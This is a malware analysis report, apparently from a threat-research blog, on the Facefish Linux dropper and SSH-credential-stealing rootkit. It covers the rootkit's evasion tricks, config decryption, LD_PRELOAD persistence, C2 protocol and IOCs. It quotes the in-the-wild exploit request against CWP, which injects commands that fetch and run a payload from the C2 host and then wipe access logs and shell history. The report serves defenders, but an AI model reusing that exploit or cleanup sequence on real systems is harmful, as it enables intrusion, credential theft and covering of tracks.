Analysis report of the Facefish rootkit
<!--kg-card-begin: markdown--><h2 id="background">Background</h2>
<p>In Feb 2021, we came across an ELF sample using some CWP’s Ndays exploits, we did some analysis, but after checking with a partner who has some nice visibility in network traffic in some China areas, we discovered there is literarily 0 hit for the C2 traffic. So we moved on.</p>
<p>On 4/26/2021, Juniper published a <a href="https://blogs.juniper.net/en-us/threat-research/linux-servers-hijacked-to-implant-ssh-backdoor"><strong>blog</strong></a> about this sample, we noticed that some important technical details were not mentioned in that blog, so we decided to complete and publish our report.</p>
<p>The ELF sample file (38fb322cc6d09a6ab85784ede56bc5a7) is a Dropper, which releases a Rootkit. Juniper did not name it, so we gave it a name <code>Facefish</code>, as the Dropper released different rootkits at different times, and Blowfish encryption algorithm has been used.</p>
<p>Facefish supports pretty flexible configuration, uses Diffie-Hellman exchange keys, Blowfish encrypted network communication, and targets Linux x64 systems.</p>
<h2 id="overview">Overview</h2>
<p>Facefish consists of 2 parts, Dropper and Rootkit, and its main function is determined by the Rootkit module, which works at the Ring3 layer and is loaded using the <code>LD_PRELOAD</code> feature to steal user login credentials by hooking ssh/sshd program related functions, and it also supports some backdoor functions. Therefore, Facefish can be characterized as a backdoor for Linux platform.</p>
<p>The main functions of Facefish are</p>
<ul>
<li>Upload device information</li>
<li>Stealing user credentials</li>
<li>Bounce Shell</li>
<li>Execute arbitrary commands</li>
</ul>
<p>The basic process is shown in the following diagram.</p>
<p><img src="__GHOST_URL__/content/images/2021/05/fish_brief.png" alt="fish_brief" loading="lazy"></p>
<h1 id="propagationmethod">Propagation method</h1>
<p>The vulnerabilities exploited in the wild are shown below</p>
<pre><code>POST /admin/index.php?scripts=.%00./.%00./client/include/inc_index&amp;service_start=;cd%20/usr/bin;%20/usr/bin/wget%20http://176.111.174.26/76523y4gjhasd6/sshins;%20chmod%200777%20/usr/bin/sshins;%20ls%20-al%20/usr/bin/sshins;%20./sshins;%20cat%20/etc/ld.so.preload;%20rm%20-rf%20/usr/bin/sshins;%20sed%20-i%20'/sshins/d'%20/usr/local/cwpsrv/logs/access_log;%20history%20-c;&amp;owner=root&amp;override=1&amp;api_key=%00%00%C2%90 HTTP/1.1
Host: xx.xxx.xxx.xx:2031
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 0

</code></pre>
<p>After decoding the part related to Facefish, the following execution command sequence is obtained, which can be seen that the main function is to download the payload of the first stage of execution, and then clean up the traces.</p>
<pre><code>cd /usr/bin; 
/usr/bin/wget http://176.111.174.26/76523y4gjhasd6/sshins; 
chmod 0777 /usr/bin/sshins; 
ls -al /usr/bin/sshins; ./sshins; 
cat /etc/ld.so.preload;
rm -rf /usr/bin/sshins; 
sed -i '/sshins/d' /usr/local/cwpsrv/logs/access_log; 
history -c
</code></pre>
<h1 id="reverseanalysis">Reverse Analysis</h1>
<p>In simple terms, Facefish's infection procedure can be divided into 3 stages</p>
<p>Stage 0: Preliminary stage,  spread through the vulnerability and implanted Dropper on the device</p>
<p>Stage 1: Release stage, Dropper releases the Rootkit</p>
<p>Stage 2: Operational stage, Rootkit collects and transmits back sensitive information and waits for the execution of the instructions issued by C2</p>
<p>Let’s take a look at Stage 1 and Stage 2.</p>
<h2 id="stage1dropperanalysis">Stage 1: Dropper Analysis</h2>
<p>Dropper's base information is shown below, the main function is to detect the running environment, decrypt the Config and get C2 information, configure Rootkit, and finally release and start Rootkit.</p>
<blockquote>
<p>MD5:38fb322cc6d09a6ab85784ede56bc5a7</p>
<p>ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, stripped</p>
<p>Packer: UPX</p>
</blockquote>
<p>It is worth mentioning that Dropper uses some <code>tricks</code> to counteract the detection of antivirus at the binary level.</p>
<h2 id="trick1upxwithoverlay">Trick 1:upx with overlay</h2>
<p>As shown in the figure below, the encrypted Config data is used as overlay to fill the end of the sample after upx shelling.</p>
<img src="__GHOST_URL__/content/images/2021/03/fish_upxoverlay.png"  width="860px" />
<p>The purpose of this approach is twofold:</p>
<ol>
<li>Counteracting upx decapsulation</li>
<li>The Config data is decoupled from the sample, so that the Config can be updated by the tool without compiling the source code, which is convenient for circulation in the black market.</li>
</ol>
<h2 id="trick2elfwithoutsections">Trick 2:elf without sections</h2>
<p>As shown in the figure below, the section information in the sample is erased after the shell is removed</p>
<img src="__GHOST_URL__/content/images/2021/03/fish_section.png"  width="860px" />
<p>The purpose of this approach is also twofold:</p>
<p>Some tools that rely on section information for analysis do not work properly, and erasing sections makes analysis more difficult to a certain extent.</p>
<p>Some antivirus engines rely on the section information to generate the detection area of the feature, erase the section might blindfold some antivirus engines.</p>
<h2 id="droppersmainfeatures">Dropper's main features</h2>
<p>Dropper will output the following information when it runs</p>
<p><img src="__GHOST_URL__/content/images/2021/03/fish_proc.png" alt="fish_blow" loading="lazy"></p>
<p>Based on this information, we can divide Dropper's functions into the following 4 stages</p>
<ol>
<li>
<p>Detecting the runtime environment</p>
</li>
<li>
<p>Decrypting Config</p>
</li>
<li>
<p>Configure Rootkit</p>
</li>
<li>
<p>Release and start Rootkit</p>
</li>
</ol>
<h3 id="0x1detecttherunningenvironment">0x1:Detect the running environment</h3>
<p>Read the first 16 bytes of <code>/bin/cat</code>, and determine the current system's bit number by checking the value of the 5th byte (EI_CLASS), currently Facefish only supports x64 system. Then it checks if it is running under root privileges and finally tries to read in the Config information from the end of its own file. If any of these steps fails, Facefish will give up the infection and exit directly.</p>
<img src="__GHOST_URL__/content/images/2021/03/fish_env.png"  width="860px" />
<h3 id="0x2decryptingconfig">0x2:Decrypting Config</h3>
<p>The original Config information is 128 bytes long, encrypted with Blowfish's CBC mode, and stored at the end of the file in the form of overlay. The decryption key&amp;iv of Blowfish is as follows.</p>
<ul>
<li>key:buil</li>
<li>iv:00 00 00 00 00 00 00 00</li>
</ul>
<p>It is worth mentioning that when using Blowfish, its author played a little trick to &quot;disgust&quot; security researchers during the coding process, as shown in the following code snippet.</p>
<p>At first glance, one would think that the key for Blowfish is &quot;build&quot;. Note that the third parameter is 4, i.e. the length of the key is 4 bytes, so the real key is &quot;buil&quot;.</p>
<p><img src="__GHOST_URL__/content/images/2021/03/fish_blow.png" alt="fish_blow" loading="lazy"></p>
<p>Take the original Config as an example.</p>
<pre><code>BD E8 3F 94 57 A4 82 94 E3 B6 E9 9C B7 91 BC 59
5B B2 7E 74 2D 2E 2D 9B 94 F6 E5 3A 51 C7 D8 56
E4 EF A8 81 AC EB A6 DF 8B 7E DB 5F 25 53 62 E2
00 A1 69 BB 42 08 34 03 46 AF A5 7B B7 50 97 69
EB B2 2E 78 68 13 FA 5B 41 37 B6 D0 FB FA DA E1
A0 9E 6E 5B 5B 89 B7 64 E8 58 B1 79 2F F5 0C FF
71 64 1A CB BB E9 10 1A A6 AC 68 AF 4D AD 67 D1
BA A1 F3 E6 87 46 09 05 19 72 94 63 9F 50 05 B7
</code></pre>
<p>The decrypted Config is shown below, you can see the c2:port information (176.111.174.26:443).</p>
<img src="__GHOST_URL__/content/images/2021/03/fish_dec.png"  width="860px" />
<p>The specific meaning of each field is as follows:</p>
<table>
<thead>
<tr>
<th>offset</th>
<th>length</th>
<th>meaning</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x00</td>
<td>4</td>
<td>magic</td>
</tr>
<tr>
<td>0x0c</td>
<td>4</td>
<td>interval</td>
</tr>
<tr>
<td>0x10</td>
<td>4</td>
<td>offset of c2</td>
</tr>
<tr>
<td>0x14</td>
<td>4</td>
<td>port</td>
</tr>
<tr>
<td>0x20(pointed by 0x10)</td>
<td></td>
<td>c2</td>
</tr>
</tbody>
</table>
<p>After the decryption is completed, the following code snippet is used to verify the Config, the verification method is relatively simple, that is, compare the magic value is not <code>0xCAFEBABE</code>, when the verification passed, enter the configuration Rootkit stage.</p>
<p><img src="__GHOST_URL__/content/images/2021/03/fish_check.png" alt="fish_blow" loading="lazy"></p>
<h3 id="0x3configurerootkit">0x3:Configure Rootkit</h3>
<p>Firstly, the current time is used as the seed to generate 16 bytes randomly as the new Blowfish encryption key, and the Config obtained from the previous stage is re-encrypted with the new key.</p>
<img src="__GHOST_URL__/content/images/2021/03/fish_newkey.png"  width="860px" />
<p>Then use the flag <code>0xCAFEBABEDEADBEEF</code> to locate the specific location of the Rootkit in the Dropper and write the new encryption key and the re-encrypted Config information.</p>
<img src="__GHOST_URL__/content/images/2021/03/fish_confroot.png"  width="860px" />
<p>The changes to the file are shown below.<br>
Before writing.</p>
<img src="__GHOST_URL__/content/images/2021/03/fish_emconf.png"  width="860px" />
<p>After writing.</p>
<img src="__GHOST_URL__/content/images/2021/03/fish_newconf.png"  width="860px" />
<p>In this process because the encryption key is randomly generated, the MD5 value of the Rootkit released at different times is different, and we speculate that this design is used to counteract the black and white HASH detection of the antivirus.</p>
<p><img src="__GHOST_URL__/content/images/2021/03/fish_rodiff.png" alt="fish_blow" loading="lazy"></p>
<p>It is also worth mentioning that Facefish specifically supports the FreeBSD operating system. The implementation is relatively simple, as shown below, that is, by determining whether the EI_OSABI in cat binary is equal to 9, if so, the EI_OSABI value in Rootkit is modified to 9.</p>
<p><img src="__GHOST_URL__/content/images/2021/05/fish_freebsd.png" alt="fish_freebsd" loading="lazy"></p>
<h3 id="0x4releaseandstartrootkit">0x4: Release and start Rootkit</h3>
<p>Write the Rootkit configured in the previous stage to the <code>/lib64/libs.so</code> file, and write the following to <code>/etc/ld.so.preload</code> to realize the Rootkit preload.</p>
<pre><code> /lib64/libs.so
</code></pre>
<p>Restart the ssh service with the following command to give Rootkit a chance to load into the sshd application</p>
<pre><code>/etc/init.d/sshd restart
/etc/rc.d/sshd restart
service ssh restart
systemctl restart ssh
systemctl restart sshd.service
</code></pre>
<p>The actual effect is shown below.</p>
<img src="__GHOST_URL__/content/images/2021/03/fish_mod.png"  width="860px" />
<p>At this point Dropper's task is complete and Rootkit starts working.</p>
<h2 id="stage2rootkitanalysis">Stage 2:Rootkit Analysis</h2>
<p>Facefish's Rootkit module libs.so works at the Ring3 layer and is loaded through the LD_PRELOAD feature, its basic information is as follows.</p>
<blockquote>
<p>MD5:d6ece2d07aa6c0a9e752c65fbe4c4ac2</p>
<p>ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, stripped</p>
</blockquote>
<p>In IDA you can see that it exports 3 functions, according to the preload mechanism, when rootkit is loaded, they will replace libc's function of the same name and implement hook.</p>
<p><img src="__GHOST_URL__/content/images/2021/05/face_export.png" alt="face_export" loading="lazy"></p>
<p><code>init_proc</code> function, its main function is to hook ssh/sshd process related functions in order to steal login credentials.<br>
The <code>bind</code> function, whose main function is to report device information and wait for the execution of C2 commands.<br>
The <code>start</code> function, whose main function is to calculate keys for the key exchange process in network communication.</p>
<h2 id="analysisoftheinit_procfunction">Analysis of the .init_proc function</h2>
<p>The .init_proc function will first decrypt Config, get C2, PORT and other related information, then determine if the process being injected is SSH/SSHD, if it is, then HOOK the related functions that handle the credentials, and finally when ssh actively connects to it, or when sshd passively receives an external connection, Facefish, with the help of Hook function steals the login credentials and sends them to C2.</p>
<h3 id="0x1findingssh">0x1 Finding SSH</h3>
<p>If the current system is FreeBSD, the dlopen function obtains the address of the link_map structure and uses the link_map to iterate through the modules loaded by the current process to find SSH-related modules.</p>
<p><img src="__GHOST_URL__/content/images/2021/05/fish_fmap.png" alt="fish_fmap" loading="lazy"></p>
<p>If the current system is not FreeBSD, the address of the link_map is obtained from item 2 of the <code>.got.plt</code> table.</p>
<p><img src="__GHOST_URL__/content/images/2021/05/fish_nmap.png" alt="fish_nmap" loading="lazy"></p>
<p>After getting the SSH related module, the next step is to determine if the module is ssh/sshd in a relatively simple way, i.e. verifying that the following string is present in the module. By this, it is known that Facefish in fact only attacks the OpenSSH implementation of client/server.</p>
<pre><code>1:usage: ssh
2:OpenSSH_
</code></pre>
<h3 id="0x2hookfunction">0x2 HOOK function</h3>
<p>First, Facefish looks for the address of the function to be hooked</p>
<p>where the ssh function to be hooked is shown as follows.</p>
<img src="__GHOST_URL__/content/images/2021/05/fish_sshproc.png"  width="860px" />
<p>The sshd function to be hooked is shown below.</p>
<img src="__GHOST_URL__/content/images/2021/05/fish_sshdproc.png"  width="860px" />
<p>If it is not found, the function name is prefixed with Fssh_ and looked for again. If it is still not found, the function is located indirectly through the string in the function. Finally, the Hook is implemented by the following code snippet</p>
<p><img src="__GHOST_URL__/content/images/2021/05/fish_hook.png" alt="face_hook" loading="lazy"></p>
<p>The actual comparison before and after HOOK is shown below.</p>
<img src="__GHOST_URL__/content/images/2021/05/fish_comp.png"  width="860px" />
<h3 id="0x3stealinglogincredentials">0x3 Stealing login credentials</h3>
<p>Facefish steals the login credentials with the help of the function after Hook and reports it to C2.</p>
<p><img src="__GHOST_URL__/content/images/2021/05/fish_upinfo.png" alt="fish_upinfo" loading="lazy"></p>
<p>The reported data format is <code>%08x-%08x-%08x-%08x,%s,%s,%s,%s,%s</code>, where the first 32 sections are the encrypted key, followed by the account number, remote host, password and other information.</p>
<p>The information reported in practice is shown below.</p>
<img src="__GHOST_URL__/content/images/2021/05/fish_pass.png"  width="860px" />
<h2 id="bindfunctionanalysis">bind function analysis</h2>
<p>Once the user logs in through ssh, it will trigger the bind function and then execute a series of backdoor behavior, as follows.</p>
<p>If the backdoor is initialized normally, it will first fork the backdoor process and enter the instruction loop of C2 connection, and the parent process will call the real bind function through syscall(0x68/0x31).</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/05/image.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><h3 id="0x1hostbehavior">0x1: Host behavior</h3>
<p>Determine if the sshd parent process exists, if the parent process exits, the backdoor process also exits.</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/05/image-20210508170431037-1.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><p>If the parent process exists start collecting host information, including: CPU model, Arch, memory size, hard disk size, ssh service related configuration file and credential data.</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/05/image-20210508165505995-1.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><p>CPU model</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/05/image-20210508170040197-1.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><p>Memory</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/05/image-20210508170138167-2.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><p>Hard disk</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/05/image-20210508170600524-1.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><p>Network device</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/05/image-20210508173142888-1.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><p>SSH service related</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/05/image-20210508170834920-1.png" class="kg-image" alt loading="lazy"></figure><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/05/image-20210508173314536-1.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><h3 id="0x2introductiontoc2commands">0x2: Introduction to C2 commands</h3>
<p>Facefish uses a complex communication protocol and encryption algorithm, among which the instructions starting with 0x2XX are used to exchange public keys, which we will analyze in detail in the next subsection. Here is a brief explanation of the C2 functional instructions.</p>
<ul>
<li>Send 0x305</li>
</ul>
<p>Whether to send the registration information 0x305, if not, collect the information and report it.</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/05/image-20210508173614278-1.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><ul>
<li>Send 0x300</li>
</ul>
<p>Function to report stolen credential information</p>
<ul>
<li>Send 0x301</li>
</ul>
<p>Collect uname information, group packets and send 0x301, wait for further instructions</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/05/image-20210508174238407-1.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><ul>
<li>Receive 0x302</li>
</ul>
<p>Accept command 0x302, reverse shell.</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/05/image-20210508174458428-1.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><ul>
<li>Receive 0x310</li>
</ul>
<p>Accept command 0x310, execute any system command</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/05/image-20210508175705147-1.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><ul>
<li>Send 0x311</li>
</ul>
<p>Send instruction 0x311 to return the result of bash execution</p>
<ul>
<li>Receive 0x312</li>
</ul>
<p>Accept instruction 0x312 to re-collect and report host information</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h3 id="0x3communicationprotocolanalysis">0x3: Communication protocol analysis</h3>
<p>Rootkit's communication process uses DH <a href="https://en.wikipedia.org/wiki/Diffie%E2%80%93Hellman_key_exchange">(Diffie–Hellman)</a> key exchange protocol/algorithm for key exchange, and BlowFish is used for communication data encryption, so it is impossible to decrypt the traffic data only. Each session is divided into two phases, the first phase is key negotiation, the second phase uses the negotiated key to encrypt the sent data, receives and decrypts a C2 command, and then disconnects the TCP connection. This one-at-a-time encryption communication method is difficult to detect precisely by traffic characteristics.</p>
<p>Generally speaking, the easiest way to communicate using the DH protocol framework is to use the OpenSSL library, and the author of Facefish has coded (or used some open source projects) the whole communication process himself, and the code size is very compact because no third-party libraries are introduced.</p>
<ul>
<li>DH communication principle</li>
</ul>
<p>The whole communication protocol is based on the DH framework, so we need to understand the DH communication principle briefly first. Without discussing the mathematical principle behind, we use a simple example to describe the communication process directly by formula.</p>
<p>Step 1. A generates a random number a=4, chooses a prime number p=23, and a base number g=5, and calculates the public key A ($ A = g^a\mod p = 5^4\mod {23} = 4 $), then sends p, g, and A to B at the same time.</p>
<p>Step 2. After receiving the above message, B also generates a random number b=3 and uses the same formula to calculate the public key B ($ B = g^b \mod p = 5^3 \mod {23} = 10 $), then sends B to A. At the same time, B calculates the communication key s=3 and a base number g=5. Meanwhile, B calculates the communication key $ s = A^b \mod p = (g^a)^b \mod p = 18 $.</p>
<p>step 3. A receives B and also calculates the communication key $ s=B^a \mod p= (g^b)^a \mod p =18 $</p>
<p>step 4. A and B use the communication key s and BlowFish symmetric encryption algorithm to encrypt and decrypt the communication data.</p>
<p>In essence, a simple derivation shows that A and B computes by the same formula.</p>
<p>$$<br>
s = B^a \mod p = (g^b)^a \mod p = g^{ab} \mod p  =  (g^a)^b \mod p = A^b \mod p<br>
$$</p>
<p>There is a key mathematical function in the whole algorithm to find the power modulus power(x, y) mod z. When x and y are large, it is difficult to solve directly, so the fast power modulus algorithm is used. The start function mentioned earlier is the key code in the fast power binpow().</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/05/image-20210510123409286-1.png" class="kg-image" alt loading="lazy"></figure><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/05/image-20210510123553608-1.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><ul>
<li>Protocol analysis</li>
</ul>
<p>Sending and receiving packets use the same data structure.</p>
<pre><code class="language-c">  struct package{
      struct header{
          WORD payload_len;  //payload length
          WORD cmd;          //cmmand
          DWORD payload_crc; // payload crc
      } ;
      struct header hd;
      unsigned char payload[payload_len]; // payload
  }
</code></pre>
<p>As an example, the 0x200 instruction packet can be defined as follows.</p>
<pre><code class="language-c">struct package pkg = {
	.hd.payload_len = 0;
	.hd.cmd = 0x200;
	.hd.payload_crc = 0;
	.payload = &quot;&quot;;
}

</code></pre>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><p>Against the DH communication principle and traffic data we analyze the communication protocol.</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/05/image-20210510104153887-1.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><ol>
<li>
<p>bot first sends instruction 0x200, payload data is empty.</p>
</li>
<li>
<p>C2 replied to the instruction 0x201, payload length of 24 bytes, converted into three 64-bit values by small end, corresponding to the three key data sent by A in step1, p=0x294414086a9df32a, g=0x13a6f8eb15b27aff, A=0x0d87179e844f3758.</p>
</li>
<li>
<p>Corresponding to step2, bot generates a random number b locally, and then generates B=0x0e27ddd4b848924c based on the received p,g, which is sent to C2 by instruction 0x202. thus completing the exchange of session keys.</p>
</li>
</ol>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/05/image-20210510115024505-1.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><ol start="4">
<li>Corresponding to step3, bot and C2 generate Blowfish keys s and iv by public key A and public key B. Where iv is obtained by dissimilarity of p and g.</li>
</ol>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/05/image-20210510115139042-1.png" class="kg-image" alt loading="lazy"></figure><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/05/image-20210510120455981-1.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><p>With iv and s we can encrypt and decrypt the communication data. The real communication data is encrypted using BlowFish algorithm, which is the same as the method of profile encryption mentioned before. bot sends 0x305 command to C2 with the length of 0x1b0, and the content is the registration packet data after BlowFish encryption.</p>
<p>The decrypted uplink packet data is as follows.</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/05/image-20210510190724649-1.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><h1 id="ioc">IOC</h1>
<p>Sample MD5</p>
<pre><code>38fb322cc6d09a6ab85784ede56bc5a7 sshins
d6ece2d07aa6c0a9e752c65fbe4c4ac2 libs.so
</code></pre>
<p>C2</p>
<pre><code>176.111.174.26:443
</code></pre>
<!--kg-card-end: markdown-->
Background


In Feb 2021, we came across an ELF sample using some CWP’s Ndays exploits, we did some analysis, but after checking with a partner who has some nice visibility in network traffic in some China areas, we discovered there is literarily 0 hit for the C2 traffic. So we moved on.


On 4/26/2021, Juniper published a blog about this sample, we noticed that some important technical details were not mentioned in that blog, so we decided to complete and publish our report.


The ELF sample file (38fb322cc6d09a6ab85784ede56bc5a7) is a Dropper, which releases a Rootkit. Juniper did not name it, so we gave it a name Facefish, as the Dropper released different rootkits at different times, and Blowfish encryption algorithm has been used.


Facefish supports pretty flexible configuration, uses Diffie-Hellman exchange keys, Blowfish encrypted network communication, and targets Linux x64 systems.



Overview


Facefish consists of 2 parts, Dropper and Rootkit, and its main function is determined by the Rootkit module, which works at the Ring3 layer and is loaded using the LD_PRELOAD feature to steal user login credentials by hooking ssh/sshd program related functions, and it also supports some backdoor functions. Therefore, Facefish can be characterized as a backdoor for Linux platform.


The main functions of Facefish are


 * Upload device information
 * Stealing user credentials
 * Bounce Shell
 * Execute arbitrary commands


The basic process is shown in the following diagram.






Propagation method


The vulnerabilities exploited in the wild are shown below


POST /admin/index.php?scripts=.%00./.%00./client/include/inc_index&service_start=;cd%20/usr/bin;%20/usr/bin/wget%20http://176.111.174.26/76523y4gjhasd6/sshins;%20chmod%200777%20/usr/bin/sshins;%20ls%20-al%20/usr/bin/sshins;%20./sshins;%20cat%20/etc/ld.so.preload;%20rm%20-rf%20/usr/bin/sshins;%20sed%20-i%20'/sshins/d'%20/usr/local/cwpsrv/logs/access_log;%20history%20-c;&owner=root&override=1&api_key=%00%00%C2%90 HTTP/1.1
Host: xx.xxx.xxx.xx:2031
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 0




After decoding the part related to Facefish, the following execution command sequence is obtained, which can be seen that the main function is to download the payload of the first stage of execution, and then clean up the traces.


cd /usr/bin; 
/usr/bin/wget http://176.111.174.26/76523y4gjhasd6/sshins; 
chmod 0777 /usr/bin/sshins; 
ls -al /usr/bin/sshins; ./sshins; 
cat /etc/ld.so.preload;
rm -rf /usr/bin/sshins; 
sed -i '/sshins/d' /usr/local/cwpsrv/logs/access_log; 
history -c




Reverse Analysis


In simple terms, Facefish's infection procedure can be divided into 3 stages


Stage 0: Preliminary stage, spread through the vulnerability and implanted Dropper on the device


Stage 1: Release stage, Dropper releases the Rootkit


Stage 2: Operational stage, Rootkit collects and transmits back sensitive information and waits for the execution of the instructions issued by C2


Let’s take a look at Stage 1 and Stage 2.



Stage 1: Dropper Analysis


Dropper's base information is shown below, the main function is to detect the running environment, decrypt the Config and get C2 information, configure Rootkit, and finally release and start Rootkit.





MD5:38fb322cc6d09a6ab85784ede56bc5a7


ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, stripped


Packer: UPX



It is worth mentioning that Dropper uses some tricks to counteract the detection of antivirus at the binary level.



Trick 1:upx with overlay


As shown in the figure below, the encrypted Config data is used as overlay to fill the end of the sample after upx shelling.



The purpose of this approach is twofold:


 1. Counteracting upx decapsulation
 2. The Config data is decoupled from the sample, so that the Config can be updated by the tool without compiling the source code, which is convenient for circulation in the black market.



Trick 2:elf without sections


As shown in the figure below, the section information in the sample is erased after the shell is removed



The purpose of this approach is also twofold:


Some tools that rely on section information for analysis do not work properly, and erasing sections makes analysis more difficult to a certain extent.


Some antivirus engines rely on the section information to generate the detection area of the feature, erase the section might blindfold some antivirus engines.



Dropper's main features


Dropper will output the following information when it runs





Based on this information, we can divide Dropper's functions into the following 4 stages


 1. 
    
    
    Detecting the runtime environment
    

 2. 
    
    
    Decrypting Config
    

 3. 
    
    
    Configure Rootkit
    

 4. 
    
    
    Release and start Rootkit
    



0x1:Detect the running environment


Read the first 16 bytes of /bin/cat, and determine the current system's bit number by checking the value of the 5th byte (EI_CLASS), currently Facefish only supports x64 system. Then it checks if it is running under root privileges and finally tries to read in the Config information from the end of its own file. If any of these steps fails, Facefish will give up the infection and exit directly.




0x2:Decrypting Config


The original Config information is 128 bytes long, encrypted with Blowfish's CBC mode, and stored at the end of the file in the form of overlay. The decryption key&iv of Blowfish is as follows.


 * key:buil
 * iv:00 00 00 00 00 00 00 00


It is worth mentioning that when using Blowfish, its author played a little trick to "disgust" security researchers during the coding process, as shown in the following code snippet.


At first glance, one would think that the key for Blowfish is "build". Note that the third parameter is 4, i.e. the length of the key is 4 bytes, so the real key is "buil".





Take the original Config as an example.


BD E8 3F 94 57 A4 82 94 E3 B6 E9 9C B7 91 BC 59
5B B2 7E 74 2D 2E 2D 9B 94 F6 E5 3A 51 C7 D8 56
E4 EF A8 81 AC EB A6 DF 8B 7E DB 5F 25 53 62 E2
00 A1 69 BB 42 08 34 03 46 AF A5 7B B7 50 97 69
EB B2 2E 78 68 13 FA 5B 41 37 B6 D0 FB FA DA E1
A0 9E 6E 5B 5B 89 B7 64 E8 58 B1 79 2F F5 0C FF
71 64 1A CB BB E9 10 1A A6 AC 68 AF 4D AD 67 D1
BA A1 F3 E6 87 46 09 05 19 72 94 63 9F 50 05 B7



The decrypted Config is shown below, you can see the c2:port information (176.111.174.26:443).



The specific meaning of each field is as follows:





offset
length
meaning




0x00
4
magic


0x0c
4
interval


0x10
4
offset of c2


0x14
4
port


0x20(pointed by 0x10)

c2





After the decryption is completed, the following code snippet is used to verify the Config, the verification method is relatively simple, that is, compare the magic value is not 0xCAFEBABE, when the verification passed, enter the configuration Rootkit stage.






0x3:Configure Rootkit


Firstly, the current time is used as the seed to generate 16 bytes randomly as the new Blowfish encryption key, and the Config obtained from the previous stage is re-encrypted with the new key.



Then use the flag 0xCAFEBABEDEADBEEF to locate the specific location of the Rootkit in the Dropper and write the new encryption key and the re-encrypted Config information.



The changes to the file are shown below.

Before writing.



After writing.



In this process because the encryption key is randomly generated, the MD5 value of the Rootkit released at different times is different, and we speculate that this design is used to counteract the black and white HASH detection of the antivirus.





It is also worth mentioning that Facefish specifically supports the FreeBSD operating system. The implementation is relatively simple, as shown below, that is, by determining whether the EI_OSABI in cat binary is equal to 9, if so, the EI_OSABI value in Rootkit is modified to 9.






0x4: Release and start Rootkit


Write the Rootkit configured in the previous stage to the /lib64/libs.so file, and write the following to /etc/ld.so.preload to realize the Rootkit preload.


 /lib64/libs.so



Restart the ssh service with the following command to give Rootkit a chance to load into the sshd application


/etc/init.d/sshd restart
/etc/rc.d/sshd restart
service ssh restart
systemctl restart ssh
systemctl restart sshd.service



The actual effect is shown below.



At this point Dropper's task is complete and Rootkit starts working.



Stage 2:Rootkit Analysis


Facefish's Rootkit module libs.so works at the Ring3 layer and is loaded through the LD_PRELOAD feature, its basic information is as follows.





MD5:d6ece2d07aa6c0a9e752c65fbe4c4ac2


ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, stripped



In IDA you can see that it exports 3 functions, according to the preload mechanism, when rootkit is loaded, they will replace libc's function of the same name and implement hook.





init_proc function, its main function is to hook ssh/sshd process related functions in order to steal login credentials.

The bind function, whose main function is to report device information and wait for the execution of C2 commands.

The start function, whose main function is to calculate keys for the key exchange process in network communication.



Analysis of the .init_proc function


